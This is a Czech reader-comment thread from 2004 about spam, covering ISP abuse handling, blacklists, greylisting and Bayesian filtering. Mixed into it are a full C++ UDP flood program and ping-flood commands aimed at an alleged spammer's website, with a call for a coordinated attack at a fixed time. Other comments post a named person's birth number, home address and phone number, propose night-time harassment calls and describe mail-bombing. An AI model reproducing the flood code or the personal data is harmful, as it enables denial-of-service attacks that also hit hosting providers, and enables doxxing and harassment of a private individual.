Názory k článku Sháníte V1A6RU?

No hned dneska v noci to zkusím ....

DX Services, s.r.o.
130 00 Praha 3 - Žižkov
Husitská 502/36

Petr Vacek, r.č. 741119/0105
14900 Praha 4 - Chodov
Machkova 6/1644
Telefon: 267 912 483

DX Services, s.r.o.
130 00 Praha 3 - Žižkov
Husitská 502/36

Jednatel:
Petr Vacek, r.č. 741119/0105
14900 Praha 4 - Chodov
Machkova 6/1644
Telefon: 267 912 483

Ne, to si nerozumime. Vy tady, zda se, predvadite neco, co by se dalo oznacit jako "zamestnanec s vlastnimi predstavami o potrebach a vhodnem smerovani firmy". Neco takoveho ja neznam. Postmaster, a to i ve velke firme, je stale pouze jejim zamestnancem. Loajalnim zamestnancem - jiank tam nema co delat. At uz proto, ze oni vyhodi jeho, nebo proto, ze on se rozhodne, ze ve firme s "takovymi predstavami" pracovat nechce. To, na cem tady stavite vy - "postmaster" ma nejake vlastni predstavy, ktere se mu "bohuzel" nedari prosadit proti vuli tech vrcholovych manazeru, se kterymi neustale bojuje - to je naprosot pochybna predstava, se kterou jam popravde receno, vubec nepocital. Mozna proto, ze ja nebyl nikdy "jen postmaster". Ja vzdy predevsim odpovidal za bezpecnost site. Takze ja rikam "te linii manazeru", ze si myslim, ze pokud budeme delat to a to, pak nam hrozi takova a takova rizika a bude to mit takove a takove nasledky. Oni - protoze to je jejich prace - vybiraji, ktera rizika jsou jeste pro spolecnost prijatelna a ktera ne. A ja pak vybrane reseni aplikuji v praxi - pokud je pro me prijatelne. Pokud pro me prijatelne neni, hledam si jinou praci.

Vase predstava, ze ja nejak bojuju s nejakymi liniemi manazeru je pro me, popravde receno, dost neuchopitelna.

Jestlize firme takova posta vadi, pak musite s tou "linii manazeru" hledat a najit nejake reseni - spolu. A az ho, dohodou, naleznete, tak ho vy budete prosazovat - dohodli jste se tak. Pokud je nazor "linie", ze takova posta neni natolik obtezujici, aby stalo zato s ni bojovat - pak ta posta neni obtezujici, faktisky se tedy o zadny SPAM nejedna a nechapu, s cim byste chtel vlastne bojovat ...

Ale je jasne, odkud pramenilo nedorozumneni. Ja proste nepredpokladal, ze spravce site muze mit zajmy odlisne od zajmu spolecnosti, pro kterou sit spravuje - to jste odhalil naprosto spravne. Vy jste z toho ale dovodil, ze to plati jen tehdy, kdyz onenn spravce a majitel jsou jedna osoba. Takovy axiom ja nepotrebuji. Ja to povazuji takovou vlastnost za samozrejmou vlastnost kazdeho profesionalniho spravce site. Z definice.

ked si nevedia precitat RFC a vytvorit mail adresu ktora je v nom odporucana, plne si zasluzia aby od nich maily neboli prijimane. Zasadne svojim znamym neodporucam pouzivat taketo "freemaily". pobox.sk napriklad postmastra ma, a urcite sa najde niekolko dalsich, u ktorych mozeme pravom ocakavat vyssiu kvalitu sluzieb...

A on Vas nekdo chce?'-)

nemakal bych u vás ani omylem!!!

Zkompilujte si tenhle program v C++:

///////////////////////////////////////////////////////

#include <iostream>
#include <winsock.h>

using namespace std;

int main()
{
char szAddr[100];
char buf[32];
WSADATA data;
sockaddr_in addr;

WSAStartup(0x0101, &data);
addr.sin_port = 15; // něco
addr.sin_family = AF_INET;
memset(buf, 0xab, sizeof(buf));

cout << "Zadejte domenu: ";
cin.get(szAddr, 100).get();

addr.sin_addr.s_addr = *(ULONG*) gethostbyname(szAddr)->h_addr_list[0];
SOCKET sock = socket(AF_INET, SOCK_DGRAM, 0);

for(int i=0;;i++)
{
cout << i << '\r';
sendto(sock, buf, sizeof(buf), 0, (sockaddr*) &addr, sizeof(addr));
}

closesocket(sock);

return 0;
}

// slinkovat s knihovnou "wsock32.lib"

/////////////////////////////////////////////////////////

Je to rychlejší než PING.
Nevím nakolik je tohle účinný.... Ale zkusme to!!!
Zejtra (3.7.2004) přesně v poledne. Přihlašte se sem.

Hele, co třeba se dohodnout na datu a čase a spustit tenhle ping všichni naráz... :-)))

Proti spammerům se musí rázně !!!

Můj návrh na spuštění: Zítra (3.7.2004) přesně v poledne.

Pište sem, kdo se zúčastňuje (ať vim, že v tom nejedu sám).

Skvely napad. Spravci hostingovych center budou bez sebe. Takhle muzete uskodit kdekomu, krome spammera. Nedelejte to.

-t - trvaly tok (default jsou ctyri pakety)
-l 1420 - velikost posilaneho paketu. default je tusim 32 bytu

:-) Ano, ale pouze v pripade, ze jste zaroven postmaster a zaroven vysoce postaveny manazer. Ja mam na mysli situaci, kdy ja jsem postmaster a mam nad sebou 4 linie manazeru. Nemyslim si, ze je to tak ojedinela situace. Pokud Vy mate na mysli zobecneni 'ja = postmaster + vsichni odpovedni manazeri', pak tvrdime skutecne totez.

Neni v lidskych silach ve dvou lidech odpovidat na vsechno, co prijde na abuse@, postmaster@ a dalsi adresy pro telecom, iol a quick. Nicmene na smysluplne podnety se snazi reagovat. To neznamena odepsat, ale neco udelat.

Mno, já to vezmu netechnicky .... pokud někdo zjistí a zveřejní nejlépe soukromé telefonní číslo toho, kdo stojí za jedničkářem.com (myslím, že majitel firmy by byl nejlepší:o), tak se zavazuji mu denně volat okolo 2 hodiny ranní z budky v naší čtvrti .... Pokud to bude dělat víc lidí, tak se z toho po.... a nebo odhlásí pevnou linku

No tohle asi dobře nebude:
domain: jednickar.com
status: production
organization: Patrik Kettner
email: jednickar@hotmail.com
address: Klausova 1
city: DisneyLand 1 25655
postal-code: DisneyLand 1 25655
country: CZ
admin-c: patrik.kettner@seznam.cz#0
tech-c: patrik.kettner@seznam.cz#0
billing-c: patrik.kettner@seznam.cz#2
nserver: ns2.worldwidedns.net
nserver: ns3.worldwidedns.net
registrar: JORE-1
created: 2003-08-28 10:03:19 UTC godaddy
modified: 2004-01-31 23:06:36 UTC JORE-1
expires: 2005-08-28 10:03:19 UTC
source: joker.com

Ale tohle by mohlo být lepší:
jednatel: Petr Vacek , r.č. 741119/0105
Praha 4, Machkova 1644, PSČ: 14900
den vzniku funkce: 28.07.2003
Na stránkách Telecomu v seznamu není

bylo by prosím možno pro nás nevzdělance ozřejmit, co (u)dělá v příkazovém řádku parametr -l 1420 -t ?
děkuji

> Ale? Dej mi priklad uzivatele, ktery potrebuje
> mit "otevrenou skupinu".

Napriklad kdokoli z obchodniho oddeleni firmy (pro prijimani mailu od novych zakazniku).

Anebo uplne kdokoli - vas vzdaleny znamy vam chce kvuli necemu poslat mail a sezene si ho u vaseho spolecneho znameho.

Přesně tak, taky je kvůli tomu tiscali.cz na blacklistu: http://www.rfc-ignorant.org/tools/lookup.php?domain=tiscali.cz

Ovšem takový Český Telecom abuse adresu má, ale na maily tam zaslané před časem nikdy nijak neragoval. Přitom tak před dvěma lety to u Telecomu fungovalo dobře.

seznam.cz, atlas.cz, hotmail.cz blokujeme pro v cele firme. Seriozni forma nepouziva freemaily a sokroma korespondence nema ve firme co delat A to mame po pobockach cca 1500 zamestnancu

a neni lepsi se chovat stejne jako spamer ? Kazdy kdo to tu preci cte si muze nechat ve windowsech zminimalizovane okno kde mu pobezi
ping www.jednickar.com -l 1420 -t

ICMP sice filtruji, ale uz i tak se bude muset jejich FW zabyvat prichozimi pakety od X priznivcu :-)

Pokud jste ovsem na pozici postmastera ve velke firme, muzete zjistit, ze si proste nemuzete dovolit blokovat velkeho providera, i kdyz pres nej chodi spamy. Proste nemuzete, ne ze nemate pravo. Bud vam to nedovoli nadrizeni (at uz maji jakykoliv duvod), nebo zjistite, ze vam odtamtud chodi prilis mnoho regulerni a treba i hodne dulezite posty..

Neshledavam zasadni rozdil mezi vyse okopirovanym prohlasenim a ...

Pochopitelne koncovy uzivatel muze blokovat kohokoliv, treba cely svet.

V obou pripadech plati, ze musite zvazit pro a proti a na zaklade toho se rozhodnout zda ano ci ne. V tom, ze mi tyto pripady pripadaji identicke, kdezto vy tam vidite nejaky kvalitativni rozdil vidim jadro nedorozumeni.

"Tohle je kravina. Whitelist si muzes dovolit u emailu, ktery pouzivas jen k dopisovani s rodinou, spoluzaky, ..., proste uzavrenou skupinou."

Ale? Dej mi priklad uzivatele, ktery potrebuje mit "otevrenou skupinu".

"Email pouze k tomuhle ma jen malo kdo a pokud ho pouziva jen takhle a nema neco jako treba Katka@domena, nebo jiny snadno odhadnutelny email, tak se nemusi prilis zabyvat ani tim whitelistem."

No, to prave uz zdaleka neni pravda - jakmile se muj email objevi u nekoho se zavirovanym Outlookem, nebo na treba inzertnim serveru - proste se publikuje, tak spam brzo zacne na nej chodit.

"Radej nejaka certifikace u SMTP, aby si kazdy kdo ma diru vzatku a pripojeni na net nemohl snadno udelat vlastni smtp. Kdyby server prijemce emaily z necertifikovaneho SMTP zahazoval tak to nebude tak horke ani ze spamem ani s viry, ktere maji vlastni smtp."

S timhle taky nemuzu souhlasit. Ja pouzivam svuj SMTP server primo na notebooku, protoze me dralo neustale prenastavovani SMTP parametru v email klientovi, kdyz jsem prisel do jine site.

e-mail na riesenie staznosti ma byt abuse@ - nariaduje to RFC2142 a tiez pise kde ma byt mail abuse implementovany.

implementovat ine adresy a odkazovat ludi na whois alebo www je nezmysel a porusenie RFC a lameri ktori to takto robia si plne zasluzia byt blacklistnuti

Ja zkousim postgrey (http://isg.ee.ethz.ch/tools/postgrey/). Uvidime, jak se osvedci. Kazdopadne proti spamum, ktere chodi pres openrelay, vam tahle technika nepomuze. To jsou klasicka mta-cka, takze se budou chovat tak, jak si RFC predstavuje. Jak se ale zda, pan Kara mel pravdu - velka vetsina mailoveho bordelu (hlavne viry) chodi nestandardne.

Presne o tom jsem mluvil ;-) Pouzitelne to je, ale ne takhle brutalne naprimo.

tak to teda fakt nema chybu, bude to blokovat napr. @seznam.cz, @hotmail.com (postmaster) a dalsi, fakticky skvele vyuzitelny...

moje zkusenosti s VJ, zjednodusene:
JA: posilam spam, prosim o reseni a zpravu o vysledcich
VJ: poslete logy nebo aspon celou zpravu s hlavickou
JA: posilam
VJ: dejte souhlas ISP A, pres kteryho byly zpravy rozesilany ke zverejneni buhviceho
JA: ISP A? vzdyt to slo pres ISP B, hlavicka Received:
VJ: ja tam zadnou Received nevidim
JA: ... trocha vysvetlovani, co je v emailech, co jsou hlavicky a kdo to opravdu a pres koho poslal ..
VJ: ok, ozvu se vam pristi tyden
..
VJ: poslali jsme ISP A material, aby emaily dohledal a potvrdil (neco v tom smyslu)
Kamarad z ISP A: neposilal si stiznost na spam?
JA: jasne, vim, ze to prislo vam a ze je to blbe, ale kam mam napsat, ze vam dam souhlas
Kamarad: nikam, posilame to zpatky
VJ: kontaktovali jsme firmu spammer s.r.o., nepopira, ze rozesila "běžné komerční nabídky na základě zakoupených nebo volně šířených databází e-mailových adres. Jak uvádí, na konci každé zprávy je odhlášení tak, aby nabídku již uvedená adresa nedostávala. Může se však stát, že nová databáze obsahuje buď jinou adresu stejného adresáta nebo skutečně při srovnávání databází dojde k chybě. V žádném případě nemají v úmyslu obtěžovat kohokoliv, kdo si to nepřeje. Vaši adresu samozřejmě z databáze vyřadí (*) jako i další subjekty, které nemají o jejich nabídky zájem. Informovat potenciální zákazníky nepovažují za obtěžování a Vaše výdaje neznají, neb jste jim je nesdělil, aby Vám mohly být uhrazeny. Jmenovaná společnost má zájem na urovnání věci, to však nemůže být prostřednictvím úřadu. Z hlediska správního úřadu by tímto způsobem mohla být celá záležitost uzavřena, pokud budete s formou navrhovanou společností souhlasit."

(*) - o vyrazeni jsem zadal, ne vsak pres odkaz, tem neverim.., nebylo tak ucineno, tak jsem vyuzil stiznost na urad + pochopitelne ISP..

ted bohuzel nevim, co dal s tim. do nakladu si pochopitelne nemuzu zapocitat cas straveny s vysvetlovanim uradu, co jsou to hlavicky (celkem by mi to ani nevadilo, kdyby to bylo k necemu), kazdej umime neco jinyho. takze este budu nakou dobu premejslet

Jednoduse - blokuji pocitace uvedene jako open relay v blacklistech. Samozrejme tam nemusi byt vsechy open stroje, ale IMHO jich tam vetsina (minimalne spammery pouzivanych) bude...

Mno... jeden napad, jak se zbavit zejmena tech zahranicnich tu je. Psal tu o nem Pavel Satrapa pred cca 1/4 rokem v clanku s peknym cislem 3333 (aspon se to pekne pamatuje). Jmenuje se to greylisting, pro seznameni se doporucuju ten clanek a pak odkazy pod nim uvedene. Nasadil jsem to na jednom systemu co provozuju a pak se to nasadilo i ve skole. Ucinnost pomerne bombasticka. Ve skole je to jeste kombinovany s whitelistem MX serveru, se kterymi se v minulosti casto komunikovalo tak aby se posta od nich nezdrzovala (stejne by byla dorucena). V pripade poklesu ucinnosti pak nastupuje kombinace s nekterymi vhodnymi RBL a ze strany spammeru proti tomu temer neexistuje obrana.

Jen jeste male doporuceni, pokud to nekdo chcete nasazovat pro postfix, doporucuju si najit na netu skript, ktery pouziva MySQL, snaz se to udrzuje a je to robustnejsi reseni nez u postfixu defaultne uvedene vzorove reseni s db soubory.

Honza

To me zajima. Muzete mi prosim sdelit, jak identifikujete maily prichazejici pres openrelay nebo proxy?

> Jisteze vim, ze naprosta vetsina spamu prichazi pres
> openrelay/openproxy

To neni pravda. Podle mych statistik prichazi z openrelay/proxy cca 15% z celkoveho objemu mailu. Samozrejme nevim presne, kolik z toho objemu je spam, ale rozhodne vic, nez aby se dalo rict vyse uvedene.

Email na stiznosti ohledne trafficu rozhodne nemusi byt 'abuse'. Relevatni adresu je vzdy nutne najit v whois databazi. Je pravda ze Tiscali nema vyplnenou polozku abuse, ale zato tam lze nalezt jine adresy. Myslim, ze na nich sedi lide, kteri vam radi poradi, kdo se stara o zneuzivani site.

Jinak souhlasim, ze problem se musi resit co nejblize zdroji -- u ISP spammera. Zahazovat spam na svem MTU neni systemove reseni.

to zalezi od toho, ktory list a ako :) bogusmx je nanajvys vhodne pre pouzivanie, prijimanie posty zo sieti nemajucich abuse je asi druhe na mieste aj ked zrejme s velkym odstupom

a je lepsie to nastavit na malych serveroch a tym aspon ciastocne nutit firmy aby sa o problemy starali, ako nerobit to vobec...

Jenze jde o to, ze tyhle pseudofree sluzby davaji spammerum dalsi anonymizacni nastroj. Spam pres openproxy/openrelay muze zacit na jakekoliv lince. Kdyz mi zrusi konto na Quicku, zalozim si okamzite nove. V nasich podminkach jsem navic v podstate nepotrestatelny.

Jisteze vim, ze naprosta vetsina spamu prichazi pres openrelay/openproxy a zacina svoji pout na DSL linkach kdekoliv na svete, pripadne na pevnych linkach v Cine/Rusku/dalsich hezkych zemich. Nezapominejte ovsem prosim na to, ze v tomhle threadu jsme se omezili na jednickare a podobne zmetky z luhu a haju domacich.

Ja dostava denne zhruba 60 mailu od systemu, 180 z konferenci a 100 ostatnich. Z tech poslednich je zhruba 90% spam, vetsinou spravne klasifikovany filtrem v Mozille a poslan kam patri. Take uz se tomu nedivim, ale zajimave je, ze cesky spam me vzdycky nadzvihne vyrazne vic nez ostatni.

Dobry, Fanto, ale tohle si muzes dovolit na skole nebo doma. Ne ve firme o X tisicich zamestnancich. Leda jako par bodu navic pro rating do SpamAssassina.

Ale houbelec, spam rostl a roste nezavisle na techto pseudofree sluzbach... - bohuzel v dobe, kdy to opravdu nebylo tak masove obtezujici (a kdy se s tim daleko lepe dalo neco delat) jsme byli za blazny (ano 5 dopisu denne bylo naprosto presprilis). I ja u zakazniku vidim, jak se jejich vnimani posouva. Ja bych dneska aproximovane dostaval kolem 500 mailu do sve schranky, dostanu takovych jen okolo 20-ti. Druhy, kterymu dojde denne 10 uz je na vetvi...

...kdo ma diru vzatku :-))))

otazka je, ci uvedenym neplatnych dat neporusujete zakon...

http://www.rfc-ignorant.org/

skvely blacklist, umoznujuci bloknut maily od providerov co si nevazia RFC a nefunguje im abuse, pripadne od lubovolnych domen/SMTP serverov ktore si nevazia RFC a nefunguje im postmaster. Plus par dalsich skvelych napadov (BogusMX).

Vyuzivam to k plnej spokojnosti. Dokonca pre sendmail existuje makro (mozno to vedia aj ine MTA) ktore blokuje postu z masin patriasich do domen trpiacich uvedenymi neduhmi...

Mate pravdu tech 700 Kc za el. podpis je uplne adekvatni, vzdyt to je tolik prace.
Na certifikovane PGP/GPG s klidem zapomente to si muzete pouzivat doma, ale s urady, bankou u nas i ve vetsine zemi budete komunikovat pres X.509 PKI.

Dovolil bych si trochu poopravit Vasi interpretaci - 'ISP si muze delat jakykoliv bussines i kdyz tim pusobi lidem skody - a ti nemaji pravo ho za to blokovat'. Asi si trochu nerozumime - ja nerikam, ze lide nemaji pravo nekoho blokovat. Pochopitelne koncovy uzivatel muze blokovat kohokoliv, treba cely svet. Pokud jste ovsem na pozici postmastera ve velke firme, muzete zjistit, ze si proste nemuzete dovolit blokovat velkeho providera, i kdyz pres nej chodi spamy. Proste nemuzete, ne ze nemate pravo. Bud vam to nedovoli nadrizeni (at uz maji jakykoliv duvod), nebo zjistite, ze vam odtamtud chodi prilis mnoho regulerni a treba i hodne dulezite posty.

Mate pravdu s tim, ze provider i zakaznici by meli pocitat s tim, ze kdyz je neco 'zadarmo', tak to s sebou nese i rizika. Problem je v tom, ze ona rizikovost se jaksi v case meni. Porovnejte si stav mailu (a spamu) v dobe, kdy se zakladal Quick nebo jemu podobne 'free' maily, a dnes. Docela rozdil, co.

Pokud ten reply string je od vaseho kamarada, pak asi moc kamaradu mit brzo nebudete :-)
Myslel jsem, ze v tretim tisicileti reply stringum nikdo neveri, ejhle! :-)

Podle zakona mate narok zbozi vratit bez udani duvodu. Tak o co vam jde?
Uvedenou metodu proti spamerum ja propaguju uz asi 2 roky. Smula je, ze funguje jen pro mizive procento inserentu z Ceska.

S tim souhlasim, takze nekolik praktickych postrehu:

Contactel - posle automatickou odpoved a je ticho (vcetne jednickare, ktery pres ne jel mockrat)

Tiscali - abuse@tiscali.cz sice existuje, ale jiz mesice se upozorneni vraci s tim, ze schranka je preplnena

Atlas.cz - abuse@atlas.cz neexistuje!

Seznam - za nahlaseni podekuje a napise, ze spamera zablokoval - mail pochazi od konkretnich lidi na HelpDesku

IOL - za nahlaseni a spolupraci vzdy zasadne podekuje (a to behem nekolika minut bez ohledu na denni dobu!) a zreme dle mnozstvi jiz doslych stiznosti na konkretni schranku bud spamera rovnou blokuji nebo stav monitoruji - dopisy se lisi...

COL - adresa abuse@col.cz, abuse@vol.cz, abuse@volny.cz existuje, dostanu automatickou odpoved, ze by se tim nekdo nekdy zabyval jsem nezjistil ani po pozdejsim preposlanim na technickeho cloveka, jehoz kontakt jsem ziskal po znamostech a byl o uvedene veci (a o tom, ze nereaguji ani na urgence s pridelenym cislem) informovan (ano jsem si vedom, ze spojuji dva subjekty (resp. znackove primo tri) - jejich chovani je vsak identicke)

Casablanca - zasadne tvrdi, ze klient jim tvrdi, ze si rozesilani spamu vyslovene prejeme a zadame, naces po upozorneni, ze budou zablokovani u ne zrovna nevyznamnych zakazniku reaguji znacne arogantne, ze klidne, ze pokryvaji vetsinu ceskeho hostingu (nevim ktereho mysli, nevim o tom, ze by Casablanca mela prim at uz ve Web ci Server hostingu) a tak mi jinymislovy naznacili, ze se rychle pokorne vratime...

- ostatni jako iDnes, CRa (BlueAngel), Cesky bezdrat, "mensi" ISP apod. se ani neobtezuji...

Jak patrno, kazdy ISP k tomu pristupuje sverazne po svem, naopak jsou svetle vyjimky u kterych by to clovek necekal (IOL), na druhou stranu slusne se tvarici a orientovani na podnikovou klientelu (Contactel, COL) na to z vysoka pecou, hlavne ze jim tecou prachy...

Trochu mi to pripada jako podvodna volani, potapejici se Aliatel a jeho prijmy, ktere se aspon trosku hoji temito hovory, co mu musi ostatni (zejmena CTc) platit...

Ve sve stiznosti zasadne posilam forward puvodni zpravy, oznaceni, ze se jedna o spam a kompletni originalni hlavicky a posilam to ze sve adresy na adresu abuse@"dotycny ISP"...

PGP/GPG podle vás certifikovat nejde? ... a CA to asi bude dělat zadarmo?

Ma, ale vzhledem k tematu mi to prislo irelevantni, tam cpat
cele zneni...
Mate moznost me doplnit.

O.

Diky nacelniku, ze jsi se me zastal :-).

To je presne to o cem jsem psal predtim. Pokud je mail
detekovany jako spam, tak je potreba ho nevracet, ale
mazat. Ostatne v posledni (uz docela delsi) dobe stejne
spamy chodi z falesnych adres, at uz to jsou adresy
generovane, nebo brane nahodne ze stejne databaze ze ktere
se berou maily prijemcu.

Dulezita vec je, aby byla siroka a rychla spoluprace
na urovni ISP. Z ceskych casto zneuzivanych ISP mam
spatne zkusenosti s Tiscali. Neexistuje adresa abuse@,
kdyz jsem posilal stiznosti na materske Tiscali, tak
se taky nic nestalo. I kdyz zrovna nedavno jsem poprve
zaznamenal uspech a odpovedeli mi z jejich zakaznickeho
centra, ze zablokovali firemnikcz.com... Nicmene vcera
mi od nej prisla zase dalsi nabidka.

Jo, tohle je opravdu slozite a vetsinou si to opravdu lze jen tezko dovolit. Na druhou stranu - v pripade, ze pristoupime na tezi, ze nekteri ISP proste mohou svobodne hostovat SPAMery a mit z nich prijmy a nelze je za to nijak fakticky postihnout - pak se opravdu bavime o problemu bez reseni.

Na druhou stranu - Tiscali i Contactel jsou velke a pomerne seriozni firmy. Na stiznosti k rozesilani SPAMu svymi uzivateli zatim vzdy reagovali. Takze neni duvod prikrocit k nejakym razantnim akcim. To treba takovy Eurotel je na tom hure. Ale az narazite na nekoho, kdo proste nereaguje, nebo ma dokonce bussines postaveny na poskytovani sluzeb temto lidem ? Ja tomu rozumim, ze vam firma blokadu neschvali - pak si ale soucasne nemuze stezovat na objem nevyzadane posty, ktera jeji linkou od takoveho ISP prochazi. Bud' jedno nebo druhe. I to je obchodni rozhodnuti ...

Zaprve, udaj o volajicim telefonnim cisle je ISP k dispozici. A nejmene u jednoho z vami jmenovanych ISP ruzneho od IOL je k dispozici az finalnimu RADIUS serveru, ktery ho tak muze pouzit (takze nevidim duvod, proc by tomu nemelo byt tak i u ostatnich ISP). To zaprve. A za druhe - kazdy bussines ma sve prinosy a sve naklady. Kdyz se rozhodnu poskytovat pripojeni "anonymne" musim pocitat s tim, ze ponesu i s tim spojena rizika.

Samozrejme, ze nic neni uplne jednoduche - ale vami predestrena logika - ISP budou mit zisk z toho,ze neobtezuji uzivatele nutnosti registrace a pripojeni budou poskytovat anonymne - zatimco na druhe strane my vsichni ostatni budeme takovymi uzivateli obtezovani, kvuli naproste anonymite se nebudeme moci jakkoli branit. Samozrejme, ze pokud hodlate argumentovat z pozice "ISP si muze delat jakykoliv bussines i kdyz tim pusobi lidem skody - a ti nemaji pravo ho za to blokovat" pak pro vas reseni SPAMu neexistuje. Ja si ale myslim, ze kazdy si nasledky svych rozhodnuti ma nest sam. At ISP klidne poskytuje anonymni pripojeni - ale pak musi on, i vsichni jeho uzivatele pocitat s tim, ze proste bude obcas cely jeho IP prostor blokovany. Me to tak pripada jednoduche a pomerne spravedlive. Navzdoru vasemu presvedceni, ze je to slozite a neda se s tim nic delat ...

Jestli se nepletu, toto delaji vsechny obchody. Nevim jak jinak by jste to chtel delat, nebo cekate, ze si budu elektronicky objednavat osobne ?

A co se tyce IP adresy a "zavazujici smlouvy". Podle nasich zakonu, mohu vyrobek bez udani duvodu vratit = IMO se v to pocita i neprevzeti na poste. A chtel bych videt ISP, ktery vam rekne ci ta IP je.

Mela by stacic stiznost na toho, kdo to roznasi, bude to znamenat jeho posledni pochuzku (treba v mem pripade Interspar). Oni se totiz taky uz boji, ze by mohli dostat nejaky ten milion pokutu a to by se ta raklama ponekud prodrazila ;).

pokud je spammer tak drzý, že použije platný reply-string: mám docela dobrou metodu: jeho mejl mu stokrát pošlu zpátky, čím víc obrázků a příloh obsahuje, tím lépe - prostě jen chvilku bez komentáře klikám na "reply" a "send", jen jednou to někdo zkusil znova a poslal jsem mu jich skorem tisíc (isp sorry, ale válka je válka).
spamy na viagru a weight loss apod se snažím zavraždit ještě na serveru pomocí klíčového slova v předmětu zprávy - kupodivu s poměrně vysokou účinností.

Ty jsi ale fakt magor!!! Takové průpovídky cosi napovídají o tvé duševní způsobilosti. Je jen s podivem, že i v Bohnicích mají lidé přístup k Internetu.

Jednu dobu jsme tam měli něco podobného. Jediný viditelný efekt byl ten, že někteří letákáři nám tam nechávali místo jednoho letáku 4-6 exemplářů. Co tam tu nálepku nemáme, dostáváme jen jeden jako ostatní. Možná kdybych nenápadně upozornil zadavatele reklamy, jak efektivně agentura nakládá s jeho prostředky, snad by to pomohlo...

Aha, Ondra Sury a Vy mluvite o dvou ruznych vecech.

Jinak ale pokud vim, tak prakticky libovolny antispam nestoji ani tak na algoritmu jako na datech. A i kdyz se to dela na portalu, tak porad je tam nejaka databaze, ktera se stale meni, takze spammer ji nema sanci znat, pokud se mu maily nevraci.

A jinak nemusite byt "velmi znaly uzivatel", staci pouzivat treba Mozillovsky mail :-)

To ale nic nemeni na faktu, ze "obecna" antispam reseni maji vzdycky relativne malou ucinnost a bez zapojeni znalosti o uzivateli neni mozne to zlepsit.

To se ale bavite o koncovem, velmi znalem uzivateli. Ja jsem myslel obecne spamfiltry ktere nasazuji portaly. Puvodne byla debata o tom, ze nejaky spamer posle varku a ceka co se vrati (aby to mohl poopravit) a aby se tomu zabranilo tak nekdo navrhoval aby se zpet info o tom ze to bylo zachyceno jako spam neposilalo. No a to konto jsem napsal, ze si myslim, ze takove simulace se dalaji lokalne. Ale jako obvykle jsem se do toho zamotal a vzdavam to.

Zrejme si pletete algoritmus a databazi, nad kterou pracuje. U Bayesovskeho filtru ta databaze neni konstatni - neustale se meni (na kazdem serveru) v ramci uzivatelskeho feedbacku.

Obecne vzato, na jednom slove Bayesovsky filtr nestoji.
Pokud mi dosud nechodily spamy se slovem wi-fi, tak je slovo neutralni (pravdepodobnost ze je to spam je defaultne 0.4). Takze kdyz mi prijde spam s tim slovem (a za predpokladu, ze ostatni jsou dobre maskovana), tak ho to jako spam nevyhodnoti. Jenze:

Uzivatel oznaci takovy mail jako spam. A pokud mu nic o wi-fi nechodi, tak po par takovych mailech bude wi-fi naopak brano jako silny priznak spamu.

http://spambayes.sourceforge.net/

Chci jenom podotknout, že Bayes* filtr jsem instaloval před cca 13 dny (tehdy tak 200 - 400 spamů denně) a od té doby si nemohu zvyknout, že mi nikdo nepíše :-). Účinnost je tak 99%. Kdyby mi to tvrdil někdo před měsícem, řeknu mu, že prostě kecá. Vím, že problém spamu to primárně neřeší, ale jako uživatel si hovím...

No ja myslel ze je to ten filtr co nasazuji komercni postovni mailservery. Ty musi mit +- nejakou logiku a pokud to vychazi z nejakeho dostupneho enginu, tak si myslim ze ten filipinec se pokousi simulovat takovy antispamengin, respektive jeho ruzna nastaveni. Pry pred nedavnem bylo pul uspechu mit v mailu slovo "wi-fi"... :-D

Aha, takže IP adresa jednoznaně identifukuje člověka...

Nebo myslíte, že si spamer bude stěžovat na policii, aby mu vypátrala, kdo objednávku odeslal?

Uz vidim jak s IP adresou napsanou na papirku nekoho nutite, aby si sel na postu vyzvednout vas diskretni balicek s v1aGrou :-))))))

...nema pani INZENYRKA nejaky email? Kdyz ji zacne par desitek (stovek) lidi preposilat ceske spamy od ruznych Slabych a spol, tak trebas sama pozna, ze to JE neprijemny problem a ze by se s tim MELO neco delat... A mozna si objedna skoleni, aby vubec pochopila, o co jde, a co po ni lide chteji.

No my na to mame bednu, postacka prostrci dirou na postu ve dverich postu, lidi tam cpou i letaky. Postu pak prvni kdo prijde domu nahazi do schranek a letaky tam zustanou - koho letak zaujme, ten si ho vezme a stary letaky (90% letaku tam zbyde) pak jdou casem do kontejneru s tridenym odpadem..

Mno pokud jsem tak blbý, že posílám zboží na základě anonymního přístupu na svůj web, tak pak bohužel...

Jelikoz vahy slov v Bayesovskem filtru jsou individualni pro kazdeho uzivatele, tak si to asi budou zkouset tezko :-)

Nevim co jste presne myslel tim "pro me je podstatna IP adresa", ale pro jistotu zminim Anonymni Proxy servery, ktere lze s pomoci googlu vyhledat za minutku.

Pro mne je podstatná IP adresa, ne údaje.

Od p. Ing. Jandové (ona jest Venuše ?) mám taky pár odpovědí. Vše se týkalo postupně asi 4 stížností na p. Semetkovského, www.tvujdum.cz. Není šance se dovolat.

A kdo říká, že tam budete psát vlastní údaje? :-)

Ono totiž tím, že odkliknete formulář, tak tím DLE MNE uzavřete smlouvu. No a smlouvy zavazují, že...

Ja si spamerske centrum predstavuji tak, ze na lokalnich masinach si to pred poslanim otestuji a zvoli text s nejvetsim procento proslych mailu. Tedy ze je jedno co kdo vraci, protoze si to nastaveni filtru muzou testovat u sebe, ne?
Jeste si predstavuju ze ten hlavni spamerskej "programator" je spocenej a smrdi. Mozna je to filipinec.

Ten odstavec 7 má taky ještě pokračování...

Me osobne to taky nehrozi... Ale totez nemuzu rict o vsech
lidech se kteryma si chci psat...

Slovnikove utoky na jednu domenu uz se taky delaji, ale
byla by jen otazka casu, kdy by se zacly dit i takovehle
veci ve chvili, kdy by se masivneji zacaly pouzivat
*whitelisty*...

Je to jen velky zapas ve zbrojeni... Ono i ty bayesianske
(bayesovske?) filtry jsou zranitelne ve chvili, kdy ma
utocnik moznost zjistit, co se mu vraci a co ne, na principu
obraceneho bayese by se ucil, ktera slova jsou pro vas dobra
a pak by ty maily byly specialne customizovane pro vasi
schranku tak aby obsahovaly dostatecny pocet "dobrych" slov.
Prevenci je takove maily nevracet, ale zahazovat...

O.

Ja mam na schrance napsano: "Nevhazovat reklamni materialy"
a od te doby, co jsem to tam napsal jsem tam zadnou reklamni
nabidku nemel a dokonce se me postak ptal, zda-li mi muze
vhodit 'Prazske listy' ve kterych jsou vlozeny reklamni
materialy... Takze tady to alespon nejak funguje...

O.

Používám systém kde je výskyt uvedené havěti prakticky nulový.

Druhá možnost je velmi neefektivní a používá se i v současné době na náhodné generování milionů mailů ovšem ne na jednu doménu.

S poslední námitkou zcela souhlasím. A proto místo whitelistu používám Bayesiánský filtr. :-)

Ale to znamena zablokovat Tiscali.cz, Contactel.cz a tak podobne - ktera firma Vam to jako spravci schvali? (tento konkretni pripad jsem totiz i ja resil a peclive dohledaval)

